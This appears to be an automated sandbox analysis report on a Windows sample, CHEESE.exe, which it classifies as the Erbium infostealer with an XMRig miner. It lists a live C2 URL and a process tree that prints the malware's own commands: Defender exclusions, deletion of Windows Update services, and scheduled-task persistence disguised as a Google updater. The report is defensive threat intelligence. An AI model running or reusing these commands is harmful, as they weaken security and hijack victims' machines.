Resubmissions

13/10/2022, 16:27

221013-tx24csdcb610

13/10/2022, 16:20

221013-ttjgvachdp10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/10/2022, 16:27

General

  • Target
    CHEESE.exe
  • Size 2.4MB
  • Sample221013-tx24csdcb6
  • SHA256 2180293a0c0b7340f85543d453c10e8f9a059b69a530428fe1858e92a7fa63c3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • erbium

C2
  • http://77.73.133.53/cloud/index.php

Signatures

  • Erbium

    Erbium is an infostealer written in C++ and first seen in July 2022.

  • Modifies security service 2 TTPs 5 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Stops running service(s) 3 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 3 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CHEESE.exe
    "C:\Users\Admin\AppData\Local\Temp\CHEESE.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:696
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:100800
      • C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe
        "C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:101236
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3536
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1244
          • C:\Windows\system32\sc.exe
            sc stop UsoSvc
            5⤵
            • Launches sc.exe
            PID:4072
          • C:\Windows\system32\sc.exe
            sc stop WaaSMedicSvc
            5⤵
            • Launches sc.exe
            PID:228
          • C:\Windows\system32\sc.exe
            sc stop wuauserv
            5⤵
            • Launches sc.exe
            PID:5072
          • C:\Windows\system32\sc.exe
            sc stop bits
            5⤵
            • Launches sc.exe
            PID:4792
          • C:\Windows\system32\sc.exe
            sc stop dosvc
            5⤵
            • Launches sc.exe
            PID:1600
          • C:\Windows\system32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
            5⤵
              PID:4112
            • C:\Windows\system32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
              5⤵
                PID:2100
              • C:\Windows\system32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                5⤵
                • Modifies security service
                PID:1512
              • C:\Windows\system32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                5⤵
                  PID:1416
                • C:\Windows\system32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                  5⤵
                    PID:3976
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell <#gesvv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4124
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell <#btrwhe#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe" }
                  4⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:3136
                  • C:\Windows\system32\schtasks.exe
                    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
                    5⤵
                      PID:4444
            • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
              C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
              1⤵
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3880
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:2096
              • C:\Windows\system32\cmd.exe
                cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1672
                • C:\Windows\system32\sc.exe
                  sc stop UsoSvc
                  3⤵
                  • Launches sc.exe
                  PID:4308
                • C:\Windows\system32\sc.exe
                  sc stop WaaSMedicSvc
                  3⤵
                  • Launches sc.exe
                  PID:3220
                • C:\Windows\system32\sc.exe
                  sc stop wuauserv
                  3⤵
                  • Launches sc.exe
                  PID:4428
                • C:\Windows\system32\sc.exe
                  sc stop bits
                  3⤵
                  • Launches sc.exe
                  PID:1196
                • C:\Windows\system32\sc.exe
                  sc stop dosvc
                  3⤵
                  • Launches sc.exe
                  PID:1120
                • C:\Windows\system32\reg.exe
                  reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
                  3⤵
                    PID:2296
                  • C:\Windows\system32\reg.exe
                    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
                    3⤵
                      PID:3296
                    • C:\Windows\system32\reg.exe
                      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
                      3⤵
                        PID:4396
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
                        3⤵
                          PID:3908
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                          3⤵
                            PID:4240
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell <#gesvv#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:5068
                        • C:\Windows\system32\conhost.exe
                          C:\Windows\system32\conhost.exe cuujhamlfzwomvc
                          2⤵
                            PID:4944
                            • C:\Windows\system32\cmd.exe
                              cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
                              3⤵
                                PID:4088
                            • C:\Windows\system32\cmd.exe
                              cmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
                              2⤵
                                PID:3168
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic PATH Win32_VideoController GET Name, VideoProcessor
                                  3⤵
                                    PID:4548
                                • C:\Windows\system32\dwm.exe
                                  C:\Windows\system32\dwm.exe hhpaajoofiimzvle 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUGu8K1XCwbSh+ypLRcuGVjKHCqkQEbMjFPp2wEHUk/2YPEa7u8eDtaLNsvMtmfnW7pfZpWBLC28ol0YuaRyoAomoKg0M+MybStmWANwpbdJc3A2uC6nbgxCBAPoLOO1OuubEuAZTBCdX/xrrcvKnB4H9LwgUyVl9z4LaBunuWLn9L+984DlEL8pLkHAhoqzbgnzq2Q8UulW3Pe1gu+jesqTUbmj//6+fiMhPgKixPwrGz+CELGutufbQREgiXW/NQvg1coXmscuZ6yQ7RnXXKH4GsnmWjjAo51w5WaTYtMM4tqi5n6yulrtZsexR2Y9abHIdInko1dNj2btVqFpVDPxbdEbNaQGAVINOHgf8WWal3b6c2wr6mRVWR/3OEXgmNHc0PdsvyYK2oX+Nd+NLu2cGMVpnPgCpRS4DeAKMErD9sVFST+vIdKC5haHZrq6Ao
                                  2⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3760

                              Network

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    powershell.exe.log

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                    • Size 2KB
                                    • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 944B
                                    • SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 76b46bff03441dd68a1ec36cc77545c9f092d56b758e57f456b031bf5d9e2567
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 1KB
                                    • SHA256 7488d73318f710b8d78085113362c4edb94ad777c9fe995e071641511fc52c0e
                                    • MD5 SHA1 SHA512

                                    StartupProfileData-NonInteractive

                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                    • Size 944B
                                    • SHA256 6e37cf30b9188d04d5c2e5b9583a1cda02da6c86d4bd03c34c5cc80e6e8642f2
                                    • MD5 SHA1 SHA512

                                    dgyarofidrbtpsukpbv.exe

                                    • Path C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe
                                    • Size 4.0MB
                                    • SHA256 1407005795e62e9cf1c25ac71cb547b2f59dcbb427823e1bc58c75fc05ff328a
                                    • MD5 SHA1 SHA512 SSDEEP

                                    dgyarofidrbtpsukpbv.exe

                                    • Path C:\Users\Admin\AppData\Local\Temp\dgyarofidrbtpsukpbv.exe
                                    • Size 4.0MB
                                    • SHA256 1407005795e62e9cf1c25ac71cb547b2f59dcbb427823e1bc58c75fc05ff328a
                                    • MD5 SHA1 SHA512 SSDEEP

                                    updater.exe

                                    • Path C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
                                    • Size 4.0MB
                                    • SHA256 097ea3bed40d4251c6b1d68d0eb5703512698456f4e8dfbcb3930a3e37b7eaa4
                                    • MD5 SHA1 SHA512 SSDEEP

                                    updater.exe

                                    • Path C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
                                    • Size 4.0MB
                                    • SHA256 097ea3bed40d4251c6b1d68d0eb5703512698456f4e8dfbcb3930a3e37b7eaa4
                                    • MD5 SHA1 SHA512 SSDEEP

                                    g.log

                                    • Path C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
                                    • Size 226B
                                    • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                                    • MD5 SHA1 SHA512

                                    memory/2096-173-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

                                    memory/3136-170-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

                                    memory/3136-166-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

                                    memory/3536-174-0x00007FFD327C0000-0x00007FFD33281000-memory.dmp

                                    memory/3536-148-0x00007FFD327C0000-0x00007FFD33281000-memory.dmp

                                    memory/3536-145-0x000001376CF70000-0x000001376CF92000-memory.dmp

                                    memory/3760-201-0x00007FF75BD60000-0x00007FF75C554000-memory.dmp

                                    memory/3760-199-0x00007FF75BD60000-0x00007FF75C554000-memory.dmp

                                    memory/3760-207-0x0000015F3EA60000-0x0000015F3EA80000-memory.dmp

                                    memory/3760-206-0x0000015F3E630000-0x0000015F3E650000-memory.dmp

                                    memory/3760-205-0x0000015F3EA60000-0x0000015F3EA80000-memory.dmp

                                    memory/3760-204-0x0000015F3E630000-0x0000015F3E650000-memory.dmp

                                    memory/3760-198-0x0000015EAA6C0000-0x0000015EAA6E0000-memory.dmp

                                    memory/3760-203-0x0000015F3E630000-0x0000015F3E650000-memory.dmp

                                    memory/3760-202-0x0000015F3E630000-0x0000015F3E650000-memory.dmp

                                    memory/3760-200-0x0000015EABD10000-0x0000015EABD50000-memory.dmp

                                    memory/4124-163-0x00007FFD327C0000-0x00007FFD33281000-memory.dmp

                                    memory/4124-160-0x00007FFD327C0000-0x00007FFD33281000-memory.dmp

                                    memory/5068-188-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

                                    memory/5068-180-0x00007FFD32D70000-0x00007FFD33831000-memory.dmp

                                    memory/100800-156-0x0000000005850000-0x0000000005B14000-memory.dmp

                                    memory/100800-141-0x0000000005850000-0x0000000005B14000-memory.dmp

                                    memory/100800-140-0x0000000005850000-0x0000000005B14000-memory.dmp

                                    memory/100800-139-0x0000000000400000-0x0000000000405000-memory.dmp

                                    memory/100800-133-0x0000000000400000-0x0000000000405000-memory.dmp